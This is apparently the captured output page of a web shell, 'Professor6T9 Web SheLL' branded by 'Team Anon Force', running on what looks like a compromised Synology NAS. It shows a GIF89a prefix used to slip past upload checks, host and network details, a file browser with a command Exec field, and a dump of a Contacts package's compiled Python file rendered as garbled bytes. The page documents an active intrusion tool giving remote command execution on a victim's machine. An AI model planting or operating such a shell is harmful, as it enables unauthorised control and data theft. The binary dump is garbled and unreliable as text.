GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
scripts
/
sdk_plugin
/
__pycache__
[ HOME ]
Exec
Submit
contacts_common.cpython-38.pyc
U �}�h� � @ s� d dl Z d dlZd dlZd dlZd dlZd dlZd dlmZ dZdZ dZ dZdZdZ d d � Zdd� Zd d� Zdd� Zdd� Zdd� Zdd� ZG dd� d�Zdd� ZdS )� N)�ArgumentParserz./var/packages/Contacts/target/tool/contacts-dbz /sbin/initctlz/usr/syno/bin/synosystemctlzpkg-Contacts-task-centerzpkg-Contacts-apidzpkg-Contacts-radicalec C s t � t jt| �� d S �N)�syslogZLOG_INFO�str)�msg� r �C/var/packages/Contacts/target/scripts/sdk_plugin/contacts_common.py�log s r c C s2 t j�t�rt�t| |g� nt�t| |g� d S r )�os�path�exists�SERVICE_CTL_DSM6� subprocessZcall�SERVICE_CTL_DSM7)Z operationZjobr r r �service_ctl s r c C s t d� t�tdg� d S )Nz"Contacts sdk hook update_principalz--sync-update-principal�r r �Popen�DB_TOOLr r r r �update_principal% s r c C s t d� t�tdg� d S )Nz)Contacts sdk hook update_directory_objectz--update-all-directory-objectr r r r r �update_directory_object* s r c C s t d� t�tdg� d S )Nz7Contacts sdk hook update_principal_and_directory_objectz--allr r r r r �%update_principal_and_directory_object/ s r c C s t d� t�tdg� d S )Nz!Contacts sdk hook sync_dsm_domainz--sync-dsm-domainr r r r r �sync_dsm_domain4 s r c C s* t d� tdt� tdt� tdt� d S )Nz Contacts sdk hook restart_daemonZrestart)r r �TASK_CENTER_JOB�APID_JOB�RADICALE_JOBr r r r �restart_daemon; s r c @ s$ e Zd ZdZdZdd� Zdd� ZdS )�Hookz1.0Tc C s d S r r ��selfr r r �preF s zHook.prec C s d S r r r r r r �postI s z Hook.postN)�__name__� __module__�__qualname__�version�skip_failed_eventr r r r r r r B s r c C s( dd� }t dd�}|jddd� |jddd� |jd dd� |jd dd� |jddd� |jddd� |�� }|jr�t| j� n�|jr�|d � n�|jr�|d� n�|jr�|d� nt|j r�| � � nd|j �r$t| jj d � tttj�� tj�d�}|�r|dk�rtd� | j�s$| � � n| � � d S )Nc S s t t�d| d��� � d S )Nz//bin/get_key_value /var/packages/Contacts/INFO �r)�printr �popen�read)�keyr r r �print_pkg_infoN s zMain.<locals>.print_pkg_infozContacts SDK Hooks)Zdescriptionz --sdk-mod-verZ store_true)�actionz--namez --pkg-verz--vendorz--prez--post�packager$ Z maintainerz post hook is triggeredZRESULT�0z$the RESULT of this sdk hook is not 0)r Zadd_argumentZ parse_argsZsdk_mod_verr'